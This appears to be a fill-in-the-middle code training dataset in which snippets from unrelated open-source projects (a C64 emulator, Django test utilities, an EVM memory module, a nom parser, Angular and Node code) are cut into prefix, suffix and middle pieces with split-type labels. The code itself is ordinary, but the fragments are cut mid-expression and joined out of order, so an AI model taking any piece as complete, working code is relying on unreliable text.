{ let bank = self.mmu.borrow().map(address); match bank { Bank::Ram => self.ram.borrow_mut().write(address, value), Bank::Basic => self.ram.borrow_mut().write(address, value), Bank::Charset => self.ram.borrow_mut().write(address, value), Bank::Kernal => se...
identifier_body
memory.rs
// This file is part of zinc64. // Copyright (c) 2016-2019 Sebastian Jastrzebski. All rights reserved. // Licensed under the GPLv3. See LICENSE file in the project root for full license text. #[cfg(not(feature = "std"))] use alloc::prelude::*; use zinc64_core::{Addressable, AddressableFaded, Bank, Mmu, Ram, Rom, Share...
(&self, address: u16) -> u8 { let bank = self.mmu.borrow().map(address); match bank { Bank::Ram => self.ram.borrow().read(address), Bank::Basic => self.basic.borrow().read(address), Bank::Charset => self .charset .borrow() ...
read
identifier_name
memory.rs
// This file is part of zinc64. // Copyright (c) 2016-2019 Sebastian Jastrzebski. All rights reserved. // Licensed under the GPLv3. See LICENSE file in the project root for full license text. #[cfg(not(feature = "std"))] use alloc::prelude::*; use zinc64_core::{Addressable, AddressableFaded, Bank, Mmu, Ram, Rom, Share...
} fn write(&mut self, address: u16, value: u8) { self.write(address, value); } } fn setup_memory() -> Memory { let basic = new_shared(Rom::new(0x1000, BaseAddr::Basic.addr(), 0x10)); let charset = new_shared(Rom::new(0x1000, 0x0000, 0x11)); let kerna...
impl Addressable for Ram { fn read(&self, address: u16) -> u8 { self.read(address)
random_line_split
c_ecall.js
var c_ecall = [ [ "Operation modes", "c_ecall.html#le_ecall_operation", null ], [ "eCall Session", "c_ecall.html#le_ecall_session", null ], [ "Minimum Set of Data (MSD)", "c_ecall.html#le_ecall_msd", null ], [ "Concurrency", "c_ecall.html#le_ecall_concurrency", null ], [ "ERA-GLONASS compliancy", "c...
[ "eCallDemo Application and utility", "c_ecall_app_main.html", "c_ecall_app_main" ] ];
random_line_split
uninstall.ts
import { CliConfiguration, ModType } from '../cli' import * as path from 'path' const debug = require('debug')('weex:core:install') export default { name: 'uninstall', alias: ['un'], description: 'Uninstall weex plugin from Weex Cli', hidden: false, run: async toolbox => { const { parameters, fs, logger...
} else { logger.warn(`Extension or Plugin ${name} isn't installed, please check the package name.`) logger.info(`\nTo see the exist module, you can run \`weex version\``) } } else { await showHelp() } }, }
{ const spinner = logger.spin(`Uninstall ${name} ... please wait`) debug(`delete data from ${moduleConfigFilePath} ...`) spinner.text = `delete data from ${moduleConfigFilePath} ...` delete globalConfiguration.modules.mods[name] let local = mod.local || path.join(globalConfigurat...
conditional_block
uninstall.ts
import { CliConfiguration, ModType } from '../cli' import * as path from 'path'
export default { name: 'uninstall', alias: ['un'], description: 'Uninstall weex plugin from Weex Cli', hidden: false, run: async toolbox => { const { parameters, fs, logger } = toolbox const globalConfiguration: CliConfiguration = parameters.options.__config const packagename = parameters.first ...
const debug = require('debug')('weex:core:install')
random_line_split
arithmetic.rs
#[macro_use] extern crate nom; use nom::{IResult,digit, multispace}; use std::str; use std::str::FromStr; named!(parens<i64>, delimited!( delimited!(opt!(multispace), tag!("("), opt!(multispace)), expr, delimited!(opt!(multispace), tag!(")"), opt!(multispace)) ) ); named!(factor<i64>, alt!( map_...
() { assert_eq!(expr(&b" 1 + 2 "[..]), IResult::Done(&b""[..], 3)); assert_eq!(expr(&b" 12 + 6 - 4+ 3"[..]), IResult::Done(&b""[..], 17)); assert_eq!(expr(&b" 1 + 2*3 + 4"[..]), IResult::Done(&b""[..], 11)); } #[test] fn parens_test() { assert_eq!(expr(&b" ( 2 )"[..]), IResult::Done(&b""[..], 2)); assert_...
expr_test
identifier_name
arithmetic.rs
#[macro_use] extern crate nom; use nom::{IResult,digit, multispace}; use std::str; use std::str::FromStr; named!(parens<i64>, delimited!( delimited!(opt!(multispace), tag!("("), opt!(multispace)), expr, delimited!(opt!(multispace), tag!(")"), opt!(multispace)) ) ); named!(factor<i64>, alt!( map_...
#[test] fn term_test() { assert_eq!(term(&b" 12 *2 / 3"[..]), IResult::Done(&b""[..], 8)); assert_eq!(term(&b" 2* 3 *2 *2 / 3"[..]), IResult::Done(&b""[..], 8)); assert_eq!(term(&b" 48 / 3/2"[..]), IResult::Done(&b""[..], 8)); } #[test] fn expr_test() { assert_eq!(expr(&b" 1 + 2 "[..]), IResult::Done(&...
{ assert_eq!(factor(&b"3"[..]), IResult::Done(&b""[..], 3)); assert_eq!(factor(&b" 12"[..]), IResult::Done(&b""[..], 12)); assert_eq!(factor(&b"537 "[..]), IResult::Done(&b""[..], 537)); assert_eq!(factor(&b" 24 "[..]), IResult::Done(&b""[..], 24)); }
identifier_body
arithmetic.rs
#[macro_use] extern crate nom; use nom::{IResult,digit, multispace}; use std::str; use std::str::FromStr; named!(parens<i64>, delimited!( delimited!(opt!(multispace), tag!("("), opt!(multispace)), expr, delimited!(opt!(multispace), tag!(")"), opt!(multispace)) ) ); named!(factor<i64>, alt!( map_...
) | parens ) ); named!(term <i64>, chain!( mut acc: factor ~ many0!( alt!( tap!(mul: preceded!(tag!("*"), factor) => acc = acc * mul) | tap!(div: preceded!(tag!("/"), factor) => acc = acc / div) ) ), || { retur...
random_line_split
hero-detail.component.ts
/** * Created by mac on 1/9/17. */ // Keep the Input import for now, we'll remove it later:
import { HeroService } from './hero.service'; import { Hero } from './hero'; @Component({ moduleId: module.id, selector: 'my-hero-detail', templateUrl: 'hero-detail.component.html' }) export class HeroDetailComponent implements OnInit { @Input() hero: Hero; constructor( private heroService: HeroS...
import { Component, Input, OnInit } from '@angular/core'; import { ActivatedRoute, Params } from '@angular/router'; import { Location } from '@angular/common'; import 'rxjs/add/operator/switchMap';
random_line_split
hero-detail.component.ts
/** * Created by mac on 1/9/17. */ // Keep the Input import for now, we'll remove it later: import { Component, Input, OnInit } from '@angular/core'; import { ActivatedRoute, Params } from '@angular/router'; import { Location } from '@angular/common'; import 'rxjs/add/operator/switchMap'; import { ...
(): void { this.location.back(); } save(): void { this.heroService.update(this.hero) .then(() => this.goBack()); } }
goBack
identifier_name
hero-detail.component.ts
/** * Created by mac on 1/9/17. */ // Keep the Input import for now, we'll remove it later: import { Component, Input, OnInit } from '@angular/core'; import { ActivatedRoute, Params } from '@angular/router'; import { Location } from '@angular/common'; import 'rxjs/add/operator/switchMap'; import { ...
ngOnInit(): void { this.route.params .switchMap((params: Params) => this.heroService.getHero(+params['id'])) .subscribe(hero => this.hero = hero); } goBack(): void { this.location.back(); } save(): void { this.heroService.update(this.hero) .then(() => this.goBack()); } }
{}
identifier_body
compressd.py
#import binwalk.core.C import binwalk.core.plugin #from binwalk.core.common import * class
(binwalk.core.plugin.Plugin): # ''' # Searches for and validates compress'd data. # ''' MODULES = ['Signature'] #READ_SIZE = 64 #COMPRESS42 = "compress42" #COMPRESS42_FUNCTIONS = [ # binwalk.core.C.Function(name="is_compressed", type=bool), #] #comp = None #def init(self...
CompressdPlugin
identifier_name
compressd.py
#import binwalk.core.C import binwalk.core.plugin #from binwalk.core.common import * class CompressdPlugin(binwalk.core.plugin.Plugin): # ''' # Searches for and validates compress'd data. # ''' MODULES = ['Signature'] #READ_SIZE = 64 #COMPRESS42 = "compress42" #COMPRESS42_FUNCTIONS = [ ...
#def scan(self, result): # if self.comp and result.file and result.description.lower().startswith("compress'd data"): # fd = self.module.config.open_file(result.file.name, offset=result.offset, length=self.READ_SIZE) # compressed_data = fd.read(self.READ_SIZE) # fd.close() ...
#self.comp = None
random_line_split
compressd.py
#import binwalk.core.C import binwalk.core.plugin #from binwalk.core.common import * class CompressdPlugin(binwalk.core.plugin.Plugin): # ''' # Searches for and validates compress'd data. # '''
#def scan(self, result): # if self.comp and result.file and result.description.lower().startswith("compress'd data"): # fd = self.module.config.open_file(result.file.name, offset=result.offset, length=self.READ_SIZE) # compressed_data = fd.read(self.READ_SIZE) # fd.close() ...
MODULES = ['Signature'] #READ_SIZE = 64 #COMPRESS42 = "compress42" #COMPRESS42_FUNCTIONS = [ # binwalk.core.C.Function(name="is_compressed", type=bool), #] #comp = None #def init(self): #self.comp = binwalk.core.C.Library(self.COMPRESS42, self.COMPRESS42_FUNCTIONS) # T...
identifier_body
inner-attrs-on-impl.rs
// Copyright 2013 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
#[cfg(cfg_that_surely_doesnt_exist)]; fn method(&self) -> bool { false } } impl Foo { #[cfg(not(cfg_that_surely_doesnt_exist))]; // check that we don't eat attributes too eagerly. #[cfg(cfg_that_surely_doesnt_exist)] fn method(&self) -> bool { false } fn method(&self) -> bool { true } } ...
struct Foo; impl Foo {
random_line_split
inner-attrs-on-impl.rs
// Copyright 2013 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
} pub fn main() { assert!(Foo.method()); }
{ true }
identifier_body
inner-attrs-on-impl.rs
// Copyright 2013 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
(&self) -> bool { true } } pub fn main() { assert!(Foo.method()); }
method
identifier_name
create_labels.py
from os import path s1 = 'one seven three five one six two six six seven' s2 = 'four zero two nine one eight five nine zero four' s3 = 'one nine zero seven eight eight zero three two eight' s4 = 'four nine one two one one eight five five one' s5 = 'eight six three five four zero two one one two' s6 = 'two three nine z...
contents = f.read().splitlines() return contents[sid][:-1] def main(): with open(sentences, 'r') as f: contents = f.read().splitlines() labels_dict = dict() for line in contents: user, sentence = line.split('_') # this looks like a neutral face. why ? <(^.^)> key ...
random_line_split
create_labels.py
from os import path s1 = 'one seven three five one six two six six seven' s2 = 'four zero two nine one eight five nine zero four' s3 = 'one nine zero seven eight eight zero three two eight' s4 = 'four nine one two one one eight five five one' s5 = 'eight six three five four zero two one one two' s6 = 'two three nine z...
else: raise Exception('Allowed sentence ids from 1 to 70') labels_dict[key] = value with open('labels.txt', 'w') as f: for (k,v) in labels_dict.items(): f.write(k + ' ' + v + '\n') if __name__ == '__main__': main()
value = get_sentence(user, sid-61)
conditional_block
create_labels.py
from os import path s1 = 'one seven three five one six two six six seven' s2 = 'four zero two nine one eight five nine zero four' s3 = 'one nine zero seven eight eight zero three two eight' s4 = 'four nine one two one one eight five five one' s5 = 'eight six three five four zero two one one two' s6 = 'two three nine z...
labels_dict[key] = value with open('labels.txt', 'w') as f: for (k,v) in labels_dict.items(): f.write(k + ' ' + v + '\n') if __name__ == '__main__': main()
with open(sentences, 'r') as f: contents = f.read().splitlines() labels_dict = dict() for line in contents: user, sentence = line.split('_') # this looks like a neutral face. why ? <(^.^)> key = line sid = int(sentence[1:]) if sid <= 30: value = digits[(...
identifier_body
create_labels.py
from os import path s1 = 'one seven three five one six two six six seven' s2 = 'four zero two nine one eight five nine zero four' s3 = 'one nine zero seven eight eight zero three two eight' s4 = 'four nine one two one one eight five five one' s5 = 'eight six three five four zero two one one two' s6 = 'two three nine z...
(user, sid): with open(path.join(transcript_dir, user), 'r') as f: contents = f.read().splitlines() return contents[sid][:-1] def main(): with open(sentences, 'r') as f: contents = f.read().splitlines() labels_dict = dict() for line in contents: user, sentence = line.sp...
get_sentence
identifier_name
socket.service.ts
/* eslint-disable @typescript-eslint/no-explicit-any */ import { Observable } from 'rxjs'; import { debounceTime, first, share, tap } from 'rxjs/operators'; import { connect, Socket } from 'socket.io-client'; enum NATIVE_EVENTS { CONNECT = 'connect', DISCONNECT = 'disconnect', ERROR = 'error', RECONNEC...
<T = any>(event: string): Observable<T> { return this.on(event).pipe(first()); } emit<T = any>(event: string, data?: T, ack?: false): void; // This overloading is not working in TS 3.0.1 // emit<S = any>(event: string, data?: any, ack?: true): Observable<S>; emit<T = any, S = any>(event: str...
once
identifier_name
socket.service.ts
/* eslint-disable @typescript-eslint/no-explicit-any */ import { Observable } from 'rxjs'; import { debounceTime, first, share, tap } from 'rxjs/operators'; import { connect, Socket } from 'socket.io-client'; enum NATIVE_EVENTS { CONNECT = 'connect', DISCONNECT = 'disconnect', ERROR = 'error', RECONNEC...
}; }).pipe(share()); return this.events$[event]; } once<T = any>(event: string): Observable<T> { return this.on(event).pipe(first()); } emit<T = any>(event: string, data?: T, ack?: false): void; // This overloading is not working in TS 3.0.1 // emit<S = any>...
this.socket.off(event); delete this.events$[event];
random_line_split
socket.service.ts
/* eslint-disable @typescript-eslint/no-explicit-any */ import { Observable } from 'rxjs'; import { debounceTime, first, share, tap } from 'rxjs/operators'; import { connect, Socket } from 'socket.io-client'; enum NATIVE_EVENTS { CONNECT = 'connect', DISCONNECT = 'disconnect', ERROR = 'error', RECONNEC...
once<T = any>(event: string): Observable<T> { return this.on(event).pipe(first()); } emit<T = any>(event: string, data?: T, ack?: false): void; // This overloading is not working in TS 3.0.1 // emit<S = any>(event: string, data?: any, ack?: true): Observable<S>; emit<T = any, S = any>(...
{ if (this.events$[event]) { return this.events$[event]; } this.events$[event] = new Observable<T>(observer => { this.socket.on(event, observer.next.bind(observer)); return () => { this.socket.off(event); delete this.events$[e...
identifier_body
socket.service.ts
/* eslint-disable @typescript-eslint/no-explicit-any */ import { Observable } from 'rxjs'; import { debounceTime, first, share, tap } from 'rxjs/operators'; import { connect, Socket } from 'socket.io-client'; enum NATIVE_EVENTS { CONNECT = 'connect', DISCONNECT = 'disconnect', ERROR = 'error', RECONNEC...
}); } on<T = any>(event: string): Observable<T> { if (this.events$[event]) { return this.events$[event]; } this.events$[event] = new Observable<T>(observer => { this.socket.on(event, observer.next.bind(observer)); return () => { ...
{ }
conditional_block
utils.py
import sys, time, os from django.conf import settings from django.core import mail from django.core.mail.backends import locmem from django.db import DEFAULT_DB_ALIAS from django.test import signals from django.template import Template from django.utils.translation import deactivate from django.utils.unittest import sk...
def get_runner(settings): test_path = settings.TEST_RUNNER.split('.') # Allow for Python 2.5 relative paths if len(test_path) > 1: test_module_name = '.'.join(test_path[:-1]) else: test_module_name = '.' test_module = __import__(test_module_name, {}, {}, test_path[-1]) test_run...
"""Perform any global post-test teardown. This involves: - Restoring the original test renderer - Restoring the email sending functions """ Template._render = Template.original_render del Template.original_render mail.SMTPConnection = mail.original_SMTPConnection del mail.original...
identifier_body
utils.py
import sys, time, os from django.conf import settings from django.core import mail from django.core.mail.backends import locmem from django.db import DEFAULT_DB_ALIAS from django.test import signals from django.template import Template from django.utils.translation import deactivate from django.utils.unittest import sk...
def __contains__(self, key): try: value = self[key] except KeyError: return False return True def instrumented_test_render(self, context): """ An instrumented Template render method, providing a signal that can be intercepted by the test system Client ...
return super(ContextList, self).__getitem__(key)
conditional_block
utils.py
import sys, time, os from django.conf import settings from django.core import mail from django.core.mail.backends import locmem from django.db import DEFAULT_DB_ALIAS from django.test import signals from django.template import Template from django.utils.translation import deactivate from django.utils.unittest import sk...
(self, key): try: value = self[key] except KeyError: return False return True def instrumented_test_render(self, context): """ An instrumented Template render method, providing a signal that can be intercepted by the test system Client """ signals.tem...
__contains__
identifier_name
utils.py
import sys, time, os from django.conf import settings from django.core import mail from django.core.mail.backends import locmem from django.db import DEFAULT_DB_ALIAS from django.test import signals from django.template import Template from django.utils.translation import deactivate from django.utils.unittest import sk...
""" signals.template_rendered.send(sender=self, template=self, context=context) return self.nodelist.render(context) def setup_test_environment(): """Perform any global pre-test setup. This involves: - Installing the instrumented test renderer - Set the email backend to the locmem ema...
random_line_split
memory.rs
// Copyright 2015-2017 Parity Technologies (UK) Ltd. // This file is part of Parity. // Parity is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any lat...
fn size(&self) -> usize { self.len() } fn read_slice(&self, init_off_u: U256, init_size_u: U256) -> &[u8] { let off = init_off_u.low_u64() as usize; let size = init_size_u.low_u64() as usize; if !is_valid_range(off, size) { &self[0..0] } else { &self[off..off+size] } } fn read(&self, offset: ...
{ println!("MemoryDump:"); for i in self.iter() { println!("{:02x} ", i); } println!(""); }
identifier_body
memory.rs
// Copyright 2015-2017 Parity Technologies (UK) Ltd. // This file is part of Parity. // Parity is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any lat...
else { &self[off..off+size] } } fn read(&self, offset: U256) -> U256 { let off = offset.low_u64() as usize; U256::from(&self[off..off+32]) } fn writeable_slice(&mut self, offset: U256, size: U256) -> &mut [u8] { let off = offset.low_u64() as usize; let s = size.low_u64() as usize; if !is_valid_ran...
{ &self[0..0] }
conditional_block
memory.rs
// Copyright 2015-2017 Parity Technologies (UK) Ltd. // This file is part of Parity. // Parity is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any lat...
() { // given let mem: &mut Memory = &mut vec![]; mem.resize(32); // when mem.write_byte(U256::from(0x1d), U256::from(0xab)); mem.write_byte(U256::from(0x1e), U256::from(0xcd)); mem.write_byte(U256::from(0x1f), U256::from(0xef)); // then assert_eq!(mem.read(U256::from(0x00)), U256::from(0xabcdef)); }
test_memory_read_and_write_byte
identifier_name
memory.rs
// Copyright 2015-2017 Parity Technologies (UK) Ltd. // This file is part of Parity. // Parity is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any lat...
// GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with Parity. If not, see <http://www.gnu.org/licenses/>. use util::{U256, Uint}; pub trait Memory { /// Retrieve current size of the memory fn size(&self) -> usize; /// Resize (shrink or ...
random_line_split
external_process.py
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright 2012 New Dream Network, LLC (DreamHost) # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/li...
def disable(self): pid = self.pid if self.active: cmd = ['kill', '-9', pid] if self.namespace: ip_wrapper = ip_lib.IPWrapper(self.root_helper, self.namespace) ip_wrapper.netns.execute(cmd) else: utils.execute(cmd, ...
"""An external process manager for Quantum spawned processes. Note: The manager expects uuid to be in cmdline. """ def __init__(self, conf, uuid, root_helper='sudo', namespace=None): self.conf = conf self.uuid = uuid self.root_helper = root_helper self.namespace = namespace ...
identifier_body
external_process.py
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright 2012 New Dream Network, LLC (DreamHost) # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/li...
return False
random_line_split
external_process.py
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright 2012 New Dream Network, LLC (DreamHost) # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/li...
(self): """Last known pid for this external process spawned for this uuid.""" file_name = self.get_pid_file_name() msg = _('Error while reading %s') try: with open(file_name, 'r') as f: return int(f.read()) except IOError, e: msg = _('Unab...
pid
identifier_name
external_process.py
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright 2012 New Dream Network, LLC (DreamHost) # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/li...
elif pid: LOG.debug(_('Process for %(uuid)s pid %(pid)d is stale, ignoring ' 'command'), {'uuid': self.uuid, 'pid': pid}) else: LOG.debug(_('No process started for %s'), self.uuid) def get_pid_file_name(self, ensure_pids_dir=False): """Retur...
utils.execute(cmd, self.root_helper)
conditional_block
match-in-macro.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
}
pub fn main() { assert_eq!(match_inside_expansion!(),129);
random_line_split
match-in-macro.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
{ B { b1: int, bb1: int}, } macro_rules! match_inside_expansion( () => ( match B { b1:29 , bb1: 100} { B { b1:b2 , bb1:bb2 } => b2+bb2 } ) ) pub fn main() { assert_eq!(match_inside_expansion!(),129); }
Foo
identifier_name
match-in-macro.rs
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
{ assert_eq!(match_inside_expansion!(),129); }
identifier_body
event_store.js
import { EventBus } from '../wires/event_bus'; class EventStore { constructor(storeAdapter) { this.adapter = storeAdapter; } appendToStream(streamId, expectedVersion, events) { if (events.length === 0)
events.forEach(function(event) { this.adapter.append(streamId, expectedVersion, event); EventBus.publish('domain.'+streamId+'.'+event.name, event); expectedVersion++; }, this); } loadEventStream(streamId) { var version = 0, events = [], ...
{ return; }
conditional_block
event_store.js
import { EventBus } from '../wires/event_bus';
this.adapter = storeAdapter; } appendToStream(streamId, expectedVersion, events) { if (events.length === 0) { return; } events.forEach(function(event) { this.adapter.append(streamId, expectedVersion, event); EventBus.publish('domain.'+streamId...
class EventStore { constructor(storeAdapter) {
random_line_split
event_store.js
import { EventBus } from '../wires/event_bus'; class EventStore { constructor(storeAdapter) { this.adapter = storeAdapter; } appendToStream(streamId, expectedVersion, events) { if (events.length === 0) { return; } events.forEach(function(event) { thi...
} export { EventStore, EventStream };
{ this.streamId = streamId; this.events = events; this.version = version; }
identifier_body